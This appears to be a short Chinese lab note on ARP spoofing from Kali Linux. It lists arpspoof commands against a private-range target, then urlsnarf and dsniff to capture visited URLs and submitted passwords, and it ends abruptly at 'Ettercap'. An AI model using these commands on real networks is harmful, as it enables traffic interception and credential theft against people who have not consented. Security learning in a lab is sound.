arp欺骗

使用工具：arpspoof（kali直接输入就能装，还挺方便的）

流程

先查看网关

cat /etc/resolv.conf

靶机的网关也是一样的（只要能ping通就可以）

先看一下arp缓存

arp -a

arpspoof -t 192.168.21.133 -r 192.168.21.2

-t #指定欺骗的主机IP地址
-r #指定路由的IP地址

靶机的网关直接变成kali的IP了

此处我们就可以对该计算机的数据包直接截获了。

抓取url访问

urlsnarf -i eth0

中间人攻击抓取目标机提交的密码

dsniff -i eth0 -m

中间人攻击抓取目标机提交的HTTP明文密码

Ettercap